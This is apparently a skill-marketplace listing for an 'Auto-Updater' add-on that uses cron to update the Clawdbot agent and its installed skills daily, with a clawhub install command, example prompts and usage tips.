Automatically update Clawdbot and all installed skills once daily. Runs via cron, checks for updates, applies them, and messages the user with a summary of what changed.
Why use this skill?
Keep your Clawdbot and installed skills running smoothly. Auto-Updater automates daily version checks, installations, and status reporting to save you time.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/auto-updater-mn5riWhat This Skill Does
The Auto-Updater skill is a maintenance automation tool designed to keep your Clawdbot ecosystem at the peak of performance. By automating the routine verification and installation of software patches, it eliminates the manual overhead of checking for updates. It operates via a robust cron-based scheduling system that targets both the core Clawdbot framework and your individual skill set. The skill performs a comprehensive sync: it validates the current version of your environment, fetches the latest stable releases from the repositories, applies the necessary migrations, and finally delivers a structured summary report directly to your specified session. This ensures that your agent is always running the latest features, security patches, and performance optimizations without requiring your intervention.
Installation
Installation is streamlined through the Clawhub interface. First, ensure the openclaw-agent utility is active, as this acts as the bridge for file system and package management tasks. Run: clawhub install openclaw/skills/skills/hightower6eu/auto-updater-mn5ri. Once installed, you can configure the schedule by using the provided quick-start command to define your preferred execution time (e.g., 4:00 AM) and timezone, ensuring that updates occur during off-peak hours.
Use Cases
This skill is ideal for power users and developers who maintain multiple active skills and want to prevent version mismatch errors. It is also perfect for automated kiosks or server environments where a 'set and forget' approach to agent maintenance is required to ensure 99% uptime. By using the dry-run command, you can also use this for auditing your environment's version health without making permanent changes.
Example Prompts
- "Set up daily auto-updates for yourself and all your skills."
- "Show me a summary of what would happen if I ran the auto-updater right now."
- "Update all my installed skills to the latest versions and notify me when complete."
Tips & Limitations
Always ensure the openclaw-agent is running, or the skill will return an error when attempting to invoke package managers. Note that while this tool automates standard updates, it does not replace the 'clawdbot doctor' command if your environment experiences complex dependency conflicts. We recommend keeping your system environment clean and checking the status report regularly to ensure all critical skills are successfully migrating to the newest versions.
